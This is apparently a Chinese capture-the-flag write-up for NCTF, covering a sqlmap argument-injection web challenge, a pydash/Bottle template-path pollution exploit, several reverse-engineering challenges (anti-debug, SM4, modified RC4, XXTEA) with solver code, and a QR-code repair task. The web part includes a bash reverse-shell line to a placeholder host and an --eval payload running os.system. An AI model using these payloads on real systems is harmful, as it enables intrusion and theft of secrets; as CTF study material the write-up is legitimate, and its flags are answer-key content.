NCTF wp
NCTF wp
主力re和pwn,这次pwn一道没出,因为不会socket,后面再学吧
Web[复现]
sqlmap-master
sql注入
1 | /proc/self/environ 文件 |
由于是sqlmap,可以使用哪些参数看看能够读出来
【网安神器篇】——Sqlmap详解_sqlmap读取文件-CSDN博客
1 | http://localhost -c /proc/self/environ |
nctf{d92e168f-9936-4351-b72a-b4cc3dfe22d4}
-c # 从INI配置文件中读取选项
sqlmap基础知识(二)_sqlmap读文件-CSDN博客
赛后没想到还能这样
1 | https://localhost --eval __import__('os').system('env') |
ez_dash&ez_dash_revenge
1 | ''' |
可以通过反弹shell
1 | bash -c "bash -i >& /dev/tcp/xxx/xxx 0>&1" |
1 | <% from os import system |
或
参考2025 03.22 NCTF wp - LaoGong - 飞书云文档
1 | url = "http://39.106.16.204:14964/" |
- 解除 pydash 限制:
- 路径:
helpers.RESTRICTED_KEYS
- 操作:将
pydash
库中的RESTRICTED_KEYS
设置为空列表。默认情况下,该列表包含如__proto__
等敏感属性,清空后允许修改这些属性。
- 路径:
- 篡改模板路径:
- 目标:
bottle.TEMPLATE_PATH
- 方法:通过
setval
函数的__globals__
属性访问到 Bottle 模块,修改其TEMPLATE_PATH
为["/proc/self"]
,使 Bottle 从该目录查找模板文件。
- 目标:
- 读取环境变量:
- 文件路径:
/proc/self/environ
- 利用:访问
/render?path=environ
,Bottle 尝试渲染/proc/self/environ
作为模板,输出环境变量内容,其中包含 Flag。
- 文件路径:
RE
SafeProgram
看了下代码,动调试试,结果发现了反调试
看看导出表
顺带学了下怎么去掉TLS反调试,就是用工具改了某处为0,但是这里做错了,TLS中还藏着对程序逻辑的处理,不能直接跳过
TLS 回调函数(TlsCallback_0):作为回调函数,在程序或线程初始化阶段被系统自动调用。
调用 sub_140001410()
注册两个异常处理函数。调用 sub_140001920
进行初始化,随后调用 sub_140001570
生成 CRC32 表。
异常处理注册(sub_140001410):
- 功能:使用 Windows API
AddVectoredExceptionHandler
注册两个自定义异常处理程序。 - 参数:第一个参数为 1,表示处理器在所有其他处理器之前被调用(VECTORED_EXCEPTION_FIRST)。
- 返回:检查两个处理器是否均注册成功,返回布尔值。
CRC32 表生成(sub_140001570):
功能:预计算 CRC32 算法的 256 项查找表(查表法优化)。使用标准 CRC32 多项式 0xEDB88320
(IEEE 802.3 标准的反转多项式)。结果存入全局数组 dword_14002ADA0
,供后续 CRC 计算快速查找。预先生成 CRC32 表用于高效校验
TLS1中的 sub_140001070
功能:基于 CRC32 算法 计算当前程序模块(自身)的校验和。第⼆个对代码段扫描并且查表计算CRC,和注册表保存的 checksum ⽐对,不⼀致则退出程序。
除0时会调用
第一个得nop,不然会exit
跟进Handler看下就知道了
调试下看看
这里我参考了NCTF2024 | Liv’s blog Liv师傅的wp,其中用了ScyllaHide,我找半天在IDA7.5上没搞起来,后来查到了IDA9.0上的ScyllaHide,刚好也是这个师傅改的,贴一下地址TKazer/ScyllaHide-For-IDA9.0RC: Supporting for IDA9.0. Forked from https://bitbucket.org/NtQuery/scyllahide
这里有个除0啊
查看下
v4
同时提出处理过后的s盒
继续审计代码,这里的大多数信息都有了关键是19D0这个函数,审计下应该是个sm4代码
1 | unsigned __int64 __fastcall sub_1400019D0(__int64 a1, __int64 a2, __int64 a3){ |
1 | S_BOX = [ |
ezDOS
参考2025 03.22 NCTF wp - LaoGong - 飞书云文档
先要去除花指令,花指令都是无意义的指令,比如要跳到BF,但是下面又有个跳到BF+1。由test ax ax我们已经知道肯定不会执行jz,因此这样的就是花指令,直接nop掉多处类似的花指令即可
问了下deepseek,说是一个rc4算法
在看看程序逻辑
- mov ah, 0Ah:将 0Ah(十进制的 10)存入 AH 寄存器。这是 DOS 功能号,用于缓冲输入。
- lea dx, unk_10168:将 unk_10168 的地址加载到 DX 寄存器。这通常是输入缓冲区的地址。
- int 21h:调用 DOS 的 0Ah 功能,读取用户输入的字符串到指定缓冲区。
- call sub_10630:调用子程序 sub_10630,可能是处理输入数据,比如加密或校验。
- lea bx, unk_10168:将缓冲区的地址加载到 BX 寄存器。
- inc bx:BX 加 1,可能指向缓冲区的第二个字节(因为 DOS 缓冲区的第一个字节是最大长度,第二个是实际输入长度)。
- cmp byte ptr [bx], 38:比较 BX 指向的字节是否为 38(十进制 38 或十六进制 26h,即 ‘&’ 字符)。
读取输入到unk+10168
生成S盒到si,sub_10670是混淆代码
这段汇编代码是 RC4 加密算法的密钥调度阶段(KSA) 的核心部分
mov al, [bx]的al存放密钥
加密
比较:
1 | unsigned char key[] = |
直接套解密代码发现直接乱码了,中间可能有改动,仔细看看汇编
1 | loc_104EB: |
1 | loc_104EF: |
因此s盒跟一般的rc4不一样
我们关注下面s盒的处理中的两个代码
1 | loc_1050D: |
整个过程经过一系列位操作、算术运算,看起来像是为了“混淆”代码,其实结果是一个常数 6。将返回地址+6
因为pop dx我们又把dx+6放回去,也就是跳到了返回地址+6的地方,如下图
那就是左移3右移5的逻辑
加密循环:
1 | def f(x): |
一定要好好理解汇编,才能搓出来这个代码…
有第二种方法,调试
参考DOSbox的安装及其运行和基本命令的使用(内附下载链接) - Mast丶轩 - 博客园
fa是xor逻辑的地址
1 |
|
参考0psu3 Team
x1Login
发现DecStr跟进到simple.so中发现一个换表Base64,再看看下面逻辑
这一系列下来其实就是异或n8
得到
1 | 'Exv3nhr5BNW0axn3aNz/DNv9C3q0wxj/Exe=' |
看看native
apk的dex没有check函数的实现,这里调用Secure.loadDex返回的字节加载了dex:
最终定位到1E30
问了Deepseek:这类似于 3DES-EDE 模式(加密 - 解密 - 加密),但使用自定义算法。
xmmword_1804和unk_1814共24字节数据就是被加密的flag
到这不会了,然后想起之前的loaddex,开始找dex
这个好像跟assest有关发现了一个so,反编译发现是空的
010打开发现是套了一个ELF的dex
去掉前面的保存为Dex,jadx打开
先有个md5,加密出来为7d53ecd36a43d3d237e7dd633dcf8497,然后估计就是那个3des了
这里还涉及大小端序的转化
1 | import binascii |
先标记一个16进制转字符数组的网站在线16进制字符串转bytes - 在线工具
8b a5 84 b8 86 ec 9e 40 bb b8 d3 1a e2 64 8a 7e 52 3e 45 46 12 fa 4b df
d2 d3 43 6a d3 ec 53 7d 97 84 cf 3d 63 dd e7 37
utools的本地版本chef不好用,用了联网的,然后倒置就行了
1 | NCTF{X1c@dM1n1$t_SafePWD~5y$x?YM+5U05Gm6=} |
其他方法参考2025 03.22 NCTF wp - LaoGong - 飞书云文档
1 |
|
0.0 还能这么搞学习到了,省的大小端转化了
1 | from unicorn import * |
这个只能在linux下好像
其他方法:
Frida
暂时还没学会,等会复现
gogo
deepseek:
- 通道创建:创建三个通道:
v83
和v81
(uint8
类型无缓冲通道),v85
(布尔类型,缓冲大小为 2)。这些通道用于协程间通信。 - 输入提示与读取:
- 使用
fmt_Fprintln
输出提示信息,要求用户输入。通过fmt_Fscanf
读取用户输入的字符串到p_string
变量中,格式字符串复杂,可能接受多种输入格式。
- 使用
- 输入验证:
- 检查输入字符串长度是否为 40 字节。若不符合,输出错误信息并结束。
- 若长度为 40,将字符串分为前 20 字节和后 20 字节,分别复制到两个协程虚拟机(
main_coroutVM
)的内存中。
- 启动协程处理:创建两个协程执行
main_main_gowrap1
和main_main_gowrap2
函数,每个协程处理 20 字节的数据片段。协程通过通道v83
和v81
接收数据,处理后通过布尔通道v85
返回结果。 - 数据发送:主函数循环发送数据块(每次 4 字节)到通道
v83
,触发协程处理逻辑。 - 结果收集与输出:从通道
v85
接收两个布尔结果,需均为true
才判定成功。
好像涉及vm逆向,看变量名,建议使用高版本IDA
在v25看到了20个a,好像确实分开来了
给刚才的v25下硬件断点
……
发现
在 IDA Pro 中看到的reg
通常指寄存器(Registers),这是 CPU 内部用于临时存储和处理数据的小型存储单元。以下从不同角度详细解释 IDA 中与寄存器相关的内容:
9e3779b9有点眼熟跟tea有关
继续动调发现两处(main_ret中)
enc1 = [0x5D,0x45,0xD5,0xB9,0x8C,0x95,0x9C,0x38,0x3B,0xB1,0x3E,0x1E,0x5F,0xC8,0xE8,0xBB,0x64,0x38,0x48,0x69]
enc2 = [0xDE,0x81,0xD8,0xAD,0xC2,0xC4,0xA6,0x32,0x1C,0xAB,0x61,0x3E,0xCB,0xFF,0xEF,0xF1,0x27,0x30,0x7A,0x16]
应该是分成两块tea进行加密,不知道有没有魔改,因此还要把中间的运行dump出来
参考NCTF2024 | Liv’s blog和0psu3 Team
LDRI:
1 | rax=get_reg_value('rax') |
xor:
1 | edx=get_reg_value('edx') |
一个个加也行,但是有点麻烦,直接执行下面的脚本
LDR{条件} 目的 寄存器 <存储器地址> 但是这里的LDRI LDR STR STRI好像没啥用,然后MOV操作太多了,也没必要一一打出来了,因此浓缩为以下指令
1 | from idaapi import * # 导入 IDA Pro 核心 API |
这里我虽然dump出来了,我输入了40个a,但是我还是分不出来第一部分和第二部分的key
算法将两个进行部分魔改的xxtea夹在了一起,我测试输入aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj才发现
1 | 9e37 << 10 = 9e370000 |
第一个看到的密钥匙a78c0b4g,为什么key[0]不是它呢,回顾一下加密算法
1 |
|
e = (sum >> 2) & 3 = (0x9E3779B9 >> 2) & 3 = 0x278DDE6E & 3 = 2
key_index = (0 & 3) ^ 2 = 0 ^ 2 = 2 // 使用 key[2]
key[(p & 3) ^ e] // 等价于 key[(p%4) ^ e]
1
2
3
4
5 print(((0x9e3779b9) >> 2) & 3)
print((0 & 3) ^ 2)
print((1 & 3) ^ 2)
print((2 & 3) ^ 2)
print((3 & 3) ^ 2)模拟了下顺序是2301 可是dump出来的实际顺序是2031
1
2
3
4
5
6
7
8 b4f + a78c0000 = a78c0b4f 2
f72e + 9f1c0000 = 9f1cf72e 2
7466 + 6e630000 = 6e637466 0
3234 + 32300000 = 32303234 0
f0ed + 62e0000 = 62ef0ed 1
12c3 + d6eb0000 = d6eb12c3 1
5446 + 4e430000 = 4e435446 3
3234 + 32300000 = 32303234 3然后又简化了下,我猜测是2013
这个时候只能猜了,多试试几个顺序,总能搞出来的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void btea(uint32_t * v, int n, uint32_t * key)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
printf("%x \n", (p&3)^e);
z = v[p] += MX1;
}
y = v[0];
z = v[n - 1] += MX1;
}
while (--rounds);
}
else if(n < -1) {
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX1;
}
z = v[n - 1];
y = v[0] -= MX1;
sum -= DELTA;
}
while (--rounds);
}
}
unsigned char cipher[] = { 0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1, 0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69 };
int main()
{
uint32_t * v = (uint32_t*)cipher;
uint32_t k[4] = { 0x6e637466,0x62ef0ed,0xa78c0b4f,0x32303234 };
int n = 5;
btea(v, n, k);
unsigned char a;
for (int i = 0; i < 5; i++) {
//printf("%x ", v[i]);
}
for (int i = 0; i < 32; i++)
{
printf("%c", cipher[i]);
}
//NCTF{H4rd_VM_with_Go
return 0;
}这个程序搞出来的顺序2301
exp:
1 |
|
MISC[复现]
QRcode Reconstruction
QRazyBox - QR Code Analysis and Recovery Toolkit
手动改
原理是二维码的点,不是每个点都是有意义的,可以直接复制原图的点,重构,一些点可以多次尝试然后得出信息